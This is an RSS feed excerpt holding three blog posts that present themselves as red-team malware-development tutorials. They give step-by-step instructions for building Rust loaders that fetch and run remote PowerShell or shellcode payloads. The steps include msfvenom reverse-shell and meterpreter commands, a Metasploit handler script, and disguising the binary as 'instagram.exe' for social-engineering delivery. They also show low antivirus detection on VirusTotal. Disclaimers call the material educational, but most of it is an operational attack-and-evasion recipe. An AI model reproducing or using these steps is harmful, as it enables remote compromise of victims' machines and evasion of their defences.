            <content:encoded><![CDATA[<h3>LOLBin (Living of the land Binary)/File less Malware is the ghost in your system. Read here why? (Red Team Operations)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xvwEkgnD5AKIvouPlx0WsA.png" /></figure><p>In the world of <strong><em>malware development or Red Team Operations</em></strong>, evading different security protocols is the most fun thing to do. Today we are going to learn about the most famous and handy technique used by threat actors to hide their <strong><em>Remote Code Execution</em></strong> under the hood. You opened a <strong><em>PE (.exe file)</em></strong> &amp; nothing happened. No alerts, No Antivirus popups. But that sucker is inside. Let’s see what is this technique which have this weird fancy term<strong><em> “LOLBin.”</em></strong></p><h4>LOLBin (Living of the land Binary):-</h4><p><strong><em>Living of the land binaries</em></strong> uses the native system utilities which performs an important role in your whole Operating System. Like in Windows we mostly see Administrators using <strong>powershell.exe</strong> or <strong>cmd.exe</strong>. Those are the real power owners in the whole system. There are many LOLBins in Windows OS. You can checkout all of them on this site. Link below:</p><p><strong>LOLBins Website</strong> : <a href="https://lolbas-project.github.io/">Click here to open the website</a></p><p>Let’s get to our main topic which is understanding all this with a practical. <strong><em>Thanks to me</em></strong> that I developed this prototype for you and uploaded it on <strong>Github.</strong> There are some prerequisites you need to work with this project.</p><ul><li>Any Linux’s Operating System (Debian based)</li><li>rust, rustup &amp; cargo Installed</li><li>Stable Internet Connection</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z190FjdJZwdirvSoeF4iKg.jpeg" /><figcaption>Github Repo</figcaption></figure><blockquote><strong>NOTE: This demonstration is purely for educational purpose. Using these prototype for malicious use &amp; threat act will result in instant cyber crime case.</strong></blockquote><h4>Practical:-</h4><p>Follow the Instructions Step by Step.</p><ol><li>Clone the Github repo to your Linux System &gt; <a href="https://github.com/aghaasfandyarkhan/Winx86_64-LOLBin-Fileless-Malware.git">Click here for the Link</a></li><li>After cloning the repository first check out what contents this project contains for proper understanding the structure of rust projects.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HFYS0rnbaZgALPLtf9zmFQ.jpeg" /><figcaption>Cloning the repo &amp; examining the structure of project</figcaption></figure><p>3. Main files which contains all the code logic are <strong>“src/main.rs” </strong>&amp; <strong>“build.rs”</strong>. The main.rs file is the main logic code file which defines all of the functionality of <strong>LOLBin </strong>&amp;<strong> build.rs</strong> file contains the logic of adding resources like icon to the final compiled binary.</p><p>4. All of the <strong><em>crates (libraries or dependencies in rust)</em></strong> are listed in the <strong>“Cargo.toml”</strong> file &amp; <strong>“icon.rc”</strong> file is the resource file which we will use to add the <strong>“icon.ico”</strong> icon on the final compiled binary.</p><p>5. Read and checkout every file thoroughly for proper understanding of code logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OlxPCb5bUHvCDYJdWW3zVQ.jpeg" /><figcaption>src/main.rs code logic</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eKO8pH4u6SjkAGqWimIorg.jpeg" /><figcaption>build.rs code logic</figcaption></figure><p>Without wasting more time let’s setup the whole project and perform a Red Team Operation with this. I already have a<strong> Window 10 (22H2) Virtual Machine</strong> as Testing Environment. You can use any authorize <strong>Windows (x86_64) Operating System or Server.</strong> Don’t try to test all this on your friend’s PC without his permission.</p><p>This prototype contains<strong> 2 parts</strong>. First is the<strong> LOLBin (The Loader)</strong> &amp; second is the<strong> payload (actual malicious code/script)</strong>. I am using<strong> metasploit framework </strong>to generate a powershell payload but you can use any powershell payload. <strong><em>My prototype works with every powershell script </em></strong>;). But if you wanna install the metasploit framework. Just checkout the official site of <strong>Metasploit Framework</strong>. Link below:-</p><p><strong><em>Metasploit Framework:</em></strong> <a href="https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html">Click here to open the link</a></p><h4>Generating Payload &amp; Hosting HTTP Server:-</h4><p>First we will start a <strong>HTTP server</strong> so we can deliver our <strong>LOLBin</strong> and <strong>payload</strong> than we will generate the payload and save it in the directory where we ran our server. I am using <strong>“node-http-server”</strong> for hosting a http server. You can use any server you know. Run these command lines for running the HTTP server in <strong>Public</strong> directory.</p><pre>sudo apt install node-http-server<br>cd /home/$USER/Public<br>http-server -p 8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pHVi2LVPp2ivWvE9a3nkfw.jpeg" /><figcaption>Running node-http-server in Public directory</figcaption></figure><p>After running the server it will give you the <strong>URL. </strong>You will replace this URL from the URL written in the <strong>src/main.rs</strong> file shown in the <strong>main.rs</strong> code image. Here I am performing this in a controlled <strong>LAN based environment</strong> so I don’t need anything to serve it over <strong>WAN.</strong> But in real case senerio, threat actors use legitimate looking websites. <strong><em>Social Engineering</em></strong> plays most crucial role in all of these attacks. Now let’s generate the <strong>payload.ps1</strong> file in the Public directory first which will be the actual malicious code and the second part of this whole attack. For generating <strong>payload.ps1 </strong>payload using <strong>metasploit framework </strong>use the command line given below:</p><pre>msfvenom -p windows/x64/powershell_reverse_tcp LHOST=&lt;YOUR IP&gt; LPORT=&lt;YOUR PORT&gt; -f psh-reflection -o payload.ps1</pre><p>We are going to use <strong>“windows/x64/powershell_reverse_tcp”</strong> payload which is a stageless malware. <strong><em>Why stageless malware?</em></strong> Because our <strong>LOLBin loader</strong> is already acting like the <strong>meterpreter/loader</strong>. So we don’t need to create another stage, this will take more time in executing the actual powershell script which will give us a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GPYl_0uUwgX5HliAFJVTmA.jpeg" /><figcaption>Generated payload.ps1 in Public directory</figcaption></figure><p>Now we will compile our LOLBin code without wasting more time in other fancy work &amp; send the server URL to the victim machine so it will download the LOLBin and we will compromise their system.</p><p>For compiling the code enter the Project directory where<strong> Cargo.toml </strong>file is available and run these command lines for compiling the project into a <strong>Winx86_64 PE (Portable Executable)</strong>.</p><pre>rustup target add x86_64-pc-windows-gnu<br>cargo build --release --target x86_64-pc-windows-gnu</pre><p>This will compile the binary into <strong>“target/x86_64-pc-windows-gnu/release/” </strong>as <strong>“lolbins.exe”. </strong>We will move this PE to Public directory where the <strong>payload.ps1</strong> is located &amp; rename it to <strong>“instagram.exe”</strong> because the <strong>icon.ico</strong> which the project contains is of<strong> “Instagram (Social media platform)”.</strong> You can use any icon of any app or anything before compiling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XIUvPKVd6OEap-tWmAZrTA.jpeg" /><figcaption>Compiled the lolbins.exe and moved it to Public directory with renaming it to instagram.exe</figcaption></figure><p>Now we are going to create a <strong>.rc</strong> (Remote Control) file to run using <strong>msfconsole (Binary of Metasploit Framework)</strong> which will handle the reverse connection of the payload and give us the reverse shell. Create new file with name <strong>“payloadhandler.rc” </strong>&amp; write this inside, save it.</p><pre>use multi/handler<br>set PAYLOAD windows/x64/powershell_reverse_tcp<br>set LHOST &lt;YOUR IP&gt;<br>set LPORT &lt;YOUR PORT&gt;<br>run</pre><p>Than run this handler before delivering the LOLBin so it will handle the reverse connection when the target executes it.</p><pre>msfconsole -q -r payloadhandler.rc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A1FS3xNrJSxhVqN9ZUkYZw.jpeg" /><figcaption>Ran the payloadhandler.rc file</figcaption></figure><p>Now we will open that HTTP Server link on the victim machine’s browser. <strong>URL Delivery OR Payload Delivery</strong> takes alot of tricks and manipulation which we in this Cyber Security field call <strong>“Social Engineering”</strong>. But for this demonstration let suppose we successfully delivered our URL and victim downloaded the <strong>LOLBin (instagram.exe) </strong>sucessfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z2pJHv5bbEydkyFvWGPFbQ.jpeg" /><figcaption>Victim opened the URL in browser and downloaded the <strong>instagram.exe</strong></figcaption></figure><p>When victim will execute the <strong>instagram.exe</strong> it will give us a reverse shell instantly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3si49GOkv6FIslDqs-v2g.jpeg" /><figcaption>Victim executing the instagram.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H31d73xa0iE-wcakGAHkQg.jpeg" /><figcaption>Instant reverse shell instance in the Attacker machine (Evidence 01)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PioZ1piWzrs7kJUmMDu7bQ.jpeg" /><figcaption>Ran systeminfo command to get victim machine info</figcaption></figure><p>Because of this being a File less Malware. Our malicious code is running under the hood and there is no payload.ps1 file saved on the system. You can back test this by checking the background processes with <strong>“Process Monitor” </strong>OR <strong>“Process Hacker”</strong> type tools. You will find out a powershell.exe instance running but no other malware on the disk. This is the whole logic of LOLBins. Using native system utilities for <strong>compromising the system and maintaining OPSEC.</strong> Let’s upload our LOLBin on <strong>“VirusTotal”</strong> to check weather it’s detectable or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2aoIIyPFVDAADwvm9z5AUA.jpeg" /><figcaption>8/70 Security Systems detected it. :)</figcaption></figure><p>For a base compiled Winx86_64 LOLBin it’s pretty impressive because my LOLBin contain 0 evasion technique. I didn’t even tried to obfuscate the strings. Because this is not for Hacking your old school bully who beat the shit out of you in 7th grade :). <em>Read the NOTE carefully.</em></p><blockquote><strong>NOTE: My project is just a prototype for demonstration. It contains no evasion techniques and can be easily detected. Simple Windows AV can terminate the powershell.exe instance easily. Threat actors use many different Obfuscation and polymorphism techniques for evasions but this is just a sample to understand how LOLBins work in real &amp; how malware developers used Fileless Malwares for maintaining Operational Security. This is a real Red Team Operation case. Don’t try to test it on other’s system without authorize permission.<em> Otherwise it will be called a cyber crime and always remember I will be the first person to file a case on you if you use my malwares for Malicious activities. Stay save Cyber Learners &amp; Keep touching the terminal! :)</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f0383bd9428" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Shellcode Loaders use a whole different logic than other malwares (Red Team Operation)]]></title>
            <link>https://aghaasfandyarkhan.medium.com/how-shellcode-loaders-use-a-whole-different-logic-than-other-malwares-red-team-operation-6dbe4a0ae49e?source=rss-b57f331c9ec4------2</link>
            <guid isPermaLink="false">https://medium.com/p/6dbe4a0ae49e</guid>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Agha Asfandyar Khan]]></dc:creator>
            <pubDate>Tue, 01 Sep 2026 14:52:43 GMT</pubDate>
            <atom:updated>2026-09-11T17:22:48.210Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gH9sd3jaoYIHpzm-" /></figure><p>Today we are going to see a shellcode loader in action. That how malware developers or even threat actors never send the whole full blown logic malware earlier but for understanding the psychology of victim they send a <strong>small binary, PE (Portable Executable) OR piece of shell script</strong> to analyze the system. If that loader finds out that the real malware is suitable to run on the victim machine it executes otherwise it shows that <strong>“Bro I am just a cache file OR I am dead already! I am not harmful :)”. </strong>I developed this prototype to explain the base logic of a shellcode loader. I didn’t add more advance <strong>behavior based evasion, System monitoring OR persistence logic </strong>in it. Because that will be a full on malicious loader with actual evasion functions &amp; that will make me prominent in Govt. agency’s eyes Hahahahaha! So let’s understand all this without more yapping about it.</p><blockquote><strong>NOTE: This demonstration is purely for educational purpose. Using these prototype for malicious use &amp; threat act will result in instant cyber crime case.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d_-rhzVSZypxrzaIpmwc8A.jpeg" /><figcaption>Shellcode Loader dev by me a.k.a GeoKing</figcaption></figure><p><strong><em>Step no. 1:</em></strong> Clone the official Github repo of this project from my GitHub.<br><strong><em>Github Repo Link:</em></strong> <a href="https://github.com/aghaasfandyarkhan/Winx86_64-Shellcode-Loader.git">Click to open the repo</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WHt1qCY5BKuZ4jq3YRuhCA.jpeg" /><figcaption>My Winx86_64 Shellcode Loader GitHub repo</figcaption></figure><p><strong><em>Step no. 2:</em></strong> Enter the repo directory and check out every file and directory so you will understand what is available in this project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EIFDzJSTioOQYCGMQjKQOg.jpeg" /><figcaption>2 important file of repo Cargo.toml &amp; src/main.rs</figcaption></figure><p><strong><em>Step no. 3:</em></strong> The <strong>Cargo.toml</strong> file contains the <strong>crates</strong> (dependencies OR Libraries of Rust lang) &amp; other prerequisites of the main code. <strong>“src/main.rs”</strong> contains the whole main code of shellcode loader &amp; take a look on the code of <strong>main.rs</strong> to understand the functionality of shellcode loader.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9iNnPNe36sO5QGE8Qf3lYg.jpeg" /><figcaption>Main rust code of shellcode loader</figcaption></figure><p><strong><em>Step no. 4: </em></strong>Take a look at the main rust code and try to understand the functionality of the shellcode loader.</p><p>Now let me fully explain the code of this shellcode loader.</p><ol><li>We used some important crates like <strong>‘reqwest’</strong> for making connection over HTTP &amp; <strong>‘windows_sys’</strong> for using winapi functions &amp; system calls.</li><li>Than I created 2 constant variable. One for specifying the URL to the server hosting main <strong>‘shellcode.bin’</strong> file. Second for specifying the path where the shellcode loader will download and save the shellcode.bin file.</li><li>I used <strong>‘GetWindowsConsole’</strong> function from <strong>windows_sys crate</strong> for creating a hide console function. So when our shellcode.bin will execute. It will not show a CMD popup.</li><li>Than it will download the <strong>shellcode.bin </strong>file from our remote server where we hosted the file &amp; save it in the specific path which we gave in that previous variable.</li><li>It will read the <strong>shellcode.bin</strong> file to calculate the actual bytes size of it. Than allocate that much space in the memory.</li><li>It will than copy paste that<strong> shellcode.bin</strong> into the allocated space with Read Write permissions just and execute it when it will be pasted.</li></ol><p><strong><em>Why downloading a shellcode.bin file and than executing it?</em></strong> Most probably all of you were thinking of this. It’s because when the shellcode loader is not containing a malicious code but just downloading something from a server and executing it in memory. Yes the memory allocation and page read write functions are unsafe and suspicious but not fully malicious. Because every small process which need some privileges ask for this. Now we will compile this <strong>main.rs</strong> code and upload it to <strong>“VirusTotal”</strong> to check weather it will be detected or not!</p><p>For compiling the rust code into a <strong>Winx86_64 PE</strong>, you need to first add the <strong>architecture target</strong> and than compile it by first fulfilling the prerequisites like some crates which i already wrote in the <strong>“Cargo.toml”</strong> file. You can checkout the <strong>Cargo.toml</strong> file once for General Knowledge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eFhVDT1-xZRkfZloOdYRTQ.jpeg" /><figcaption>Compiled the main.rs code into Winx86_64 PE</figcaption></figure><p>For adding arcitecture target of windows and compiling the Winx86_64 binary use these commandlines.</p><pre>rustup target add x86_64-pc-windows-gnu<br>cargo build - release - target x86_64-pc-windows-gnu</pre><p>The Compiled binary will be available in the <strong>“Winx86_64-Shellcode-Loader/target/x86_64-pc-windows-gnu/release”</strong> path. The binary/PE will be named as your project name. My project name is <strong>“shellcodeloader” </strong>so my PE name is <strong>“shellcodeloader.exe”</strong>. You can change the project name in <strong>“Cargo.toml”</strong> file. Now let’s upload this PE on VirusTotal for analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LYbQRBw5xszyIentCQtCDg.jpeg" /><figcaption>Just 2/70 detected it as malicious</figcaption></figure><p>Now let’s take a look on the detection. The reason of detection is what I told you earlier that it contains some suspicious functions like <strong>allocating memory and RWX (Read, Write &amp; Executing)</strong> the<strong> shellcode.bin</strong> in memory. Real Threat Actors never let the strings to be caught by simple debuggers like this. First of all they never add comments in the code like this which can be caught by simple debuggers. Secondly our <strong>shellcode.bin</strong> file name is mentioned in the code which is already suspicious. So this code is not by itself malicious because it contains no logic of asking more privilege or administrator access. You can also edit this code &amp; add your own behavioral logic too.</p><blockquote><strong>NOTE: Mostly shellcode loader evades the Anti viruses if contain unique signature. This is just a little demonstration of ‘How shellcode loader works!’. Threat actors use different techniques like obfuscating code, encoding strings, packing the binary, behavior based evasion techniques like sleep obfuscation etc. to evade the advance IDS/IPS &amp; EDR systems. Red Team Operators build these type of advance attack vectors before a Blackhat so they inform the Defensive Security team to patch that vulnerability in real time. Most of these attacks are pulled by threat actors using social engineering techniques and every human is still vulnerable to these manipulative attacks.</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6dbe4a0ae49e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How malware developers evade even modern Windows AV using Self Injection Techniques (Red Team…]]></title>
            <link>https://aghaasfandyarkhan.medium.com/how-malware-developers-evade-even-modern-windows-av-using-self-injection-techniques-red-team-f4d93a6357de?source=rss-b57f331c9ec4------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4d93a6357de</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Agha Asfandyar Khan]]></dc:creator>
            <pubDate>Sat, 29 Aug 2026 19:39:37 GMT</pubDate>
            <atom:updated>2026-09-11T17:19:31.389Z</atom:updated>
            <content:encoded><![CDATA[<h3>How malware developers evade even modern Windows AV using Self Injection Techniques (Red Team Operation)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M52d9jSzM-gUXWpa" /></figure><p>In modern 2026, security systems are being more secure than before due to upgrading technology. But Antivirus systems are still using the same technique in most case senerio. They match the hash and identify the signature of <strong>binary or PE (Portable Executable) </strong>from the known malicious software database and sandbox them in the system. Today we are going to talk about an evasion technique which is more likely called <strong>Signature based evasion.</strong> I developed this prototype to explain how this technique works. This is just a sample to understand how threat actors embed the malicious shellcode into their own code and than compile it with native compiler. Threat Actors &amp; Ransomware gangs use more advanced behavior logic in their malwares to evade IDS/IPS &amp; EDR/XDR systems. Without more yapping let’s deep dive into practical demonstration of <strong><em>“How this will be done!”</em></strong></p><blockquote><strong>NOTE: This demonstration is purely for educational purpose. Using these prototype for malicious use &amp; threat act will result in instant cyber crime case.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ucthWWkInZU7fs4CtxeXNQ.jpeg" /><figcaption>Step 01: Clone the repo from my github</figcaption></figure><p><strong>Step 01: </strong>Clone the Repository from my official github given below.</p><p><strong>Link: </strong><a href="https://github.com/aghaasfandyarkhan/Winx86_64-Selfinjection-Agent.git">Click to open the Repo</a></p><p><strong>Step 02: </strong>Explore the main code available in the <strong>src/main.rs</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QqY4XRI4hfM4WE6WBVF1NQ.jpeg" /><figcaption>Step 02: Read the code thoroughly available in <strong>src/main.rs</strong></figcaption></figure><p>Always remember understanding Red Team Operations OR Malware development takes more knowledge than just basic IT knowledge. So you need prior knowledge of Operation System Internals, Computer Hardware &amp; IoT, Advance Networking etc. Now the main part in this whole prototype is injecting your own Payload’s shellcode into this rust code. You can develop your own template too like this in other languages too, like <strong>C++, C#, Rust, Assembly</strong> etc. I found that malwares mostly work more efficiently with low level languages instead of high level languages but you can go for <strong>“Golang”</strong> if you are comfortable with high level language they can also do the trick. I never recommend Python for this because there are so much runtime and dependencies issue with python which make it hell a headache for Maldevs to deal with. Now we are going to generate a simple “<strong><em>HTTP based staged payload’s shellcode</em></strong>” from metasploit framework. You can embed any working payload’s shellcode in it even it’s staged or stageless, bind or reverse shell, tcp or http connection etc. OR you can also embed your own shellcode too which will take alot of programming, OS internals, Hardware &amp; Networking knowledge to develop it from scratch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KsYPnR_kU3ebjZt09RAJkA.jpeg" /><figcaption>Main part of code where we will inject our shellcode</figcaption></figure><p>For generating shellcode we are going to use this commandline. I will explain you also what this whole commandline means further.</p><pre>msfvenom -p windows/x64/meterpreter/reverse_http LHOST=&lt;YOUR IP&gt; LPORT=&lt;YOUR PORT&gt; -f rust -o shellcode.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VPfMzC-oe8lQsf9mpbYkQw.jpeg" /><figcaption>Generated shellcode of winx86_64 staged reverse_http payload</figcaption></figure><p>This shellcode contain every logic of the payload which you need. This src/main.rs code will allocate the space in memory (RAM) &amp; copy, past and execute this shellcode in the memory. This is what the whole src/main.rs code logic contains. Now we will paste this generated shellcode in the desired line of the src/main.rs and after that we will compile it to the binary. I am using rust and compiling binary in rust takes come dependencies which they call <strong>“crates”</strong>. All of these crates have to be listed in <strong>“Cargo.toml” </strong>file which I already done for the learners. But for information you can read out the Cargo.toml file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epvEoMtFs4A9LCa3vR9_8A.jpeg" /><figcaption>Cargo.toml file &amp; crates</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u5CXSCD9TJpx25wKc47BWg.jpeg" /><figcaption>Embedded the shellcode in the src/main.rs with correct byte size</figcaption></figure><p>Now we will compile this whole code with embedded shellcode and upload the compiled binary to <strong>“Virustotal”</strong> to verify it’s evading well known Antivirus or not. For compiling we will come back to the project directory where <strong>“Cargo.toml”</strong> is available &amp; use this command to compile it for x86_64 Windows. First you need to add windows target to specify the architecture &amp; also import the standard libraries for windows. We will use these 2 commands to compile the main.rs into a PE (Portable Executable).</p><pre>rustup target add x86_64-pc-windows-gnu<br>cargo build --release --target x86_64-pc-windows-gnu</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iBmH2ibyimzoAYBT6eDJBg.jpeg" /><figcaption>Installed the windows architecture &amp; compiled the binary</figcaption></figure><p>The binary will be available after compilation into <strong>“target/x86_64-pc-windows-gnu/release/&lt;NAME OF YOUR PROJECT&gt;.exe”</strong>. For my project it’s name is <strong>“selfinjection.exe” </strong>but you can change project name in <strong>“Cargo.toml”</strong> file before compiling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bOiPDAYLiopinZLZ-KLwCQ.jpeg" /><figcaption>selfinjection.exe | Windows x86_64 PE</figcaption></figure><p>Now we are going to upload this compiled agent sample on <strong>“VirusTotal” </strong>website. Well known malware analysis platform to detect malicious programs. Link below</p><p><strong>Link:</strong> <a href="https://www.virustotal.com/gui/home/upload">Click to open VirusTotal</a></p><p>Upload the compiled malware sample on VirusTotal and check weather it will detect as malicious software or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e4ZHgZjFxcUuV1rs5vnk_A.jpeg" /><figcaption>Uploading selfinjection.exe on VirusTotal</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0PHlxiCLKlBjfK8mjpkFYw.jpeg" /><figcaption>VirusTotal Results | Just 10</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oA2fLtPElQrtF7kL2OnDpA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f4MtnzeBwoOWbg-yn4f8zw.jpeg" /><figcaption>Many well known Antivirus detected it as healthy software</figcaption></figure><p><strong>Conclusion &amp; Summary:-</strong></p><p>Now what is the reason behind this that many of the Antivirus are unable to detect this malware sample which we just compiled. Most of the EDR system and IDS/IPS system can detect these type of selfinjection agents because of their behaviour and unsafe memory writing functions. Why selfinjection technique evades most of the antiviruses. Because mostly C2 frameworks like metasploit framework or Sliver C2 compiles the binary with their own compiler. Which gives the binary the notable hash &amp; Signature. Which is already available in Malware databases of Anti viruses. But when we use the machine code, the shellcode and embed it into our code and than compile it using that language’s native compiler. It gave the binary a unique hash &amp; signature which is not recognized by most of the Anti viruses. This is the whole PoC (Proof of Concept) behind self injection techniques &amp; Signature based evasion.</p><blockquote><strong>NOTE: This technique will never evades all Anti viruses. This is just a little demonstration of signature based evasion. Threat actors use different techniques like obfuscating code, encoding strings, packing the binary, behavior based evasion techniques like sleep obfuscation etc. to evade the advance IDS/IPS &amp; EDR systems. Red Team Operators build these type of advance attack vectors before a Blackhat so they inform the Defensive Security team to patch that vulnerability in real time. Most of these attacks are pulled by threat actors using social engineering techniques and every human is still vulnerable to these manipulative attacks.</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4d93a6357de" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>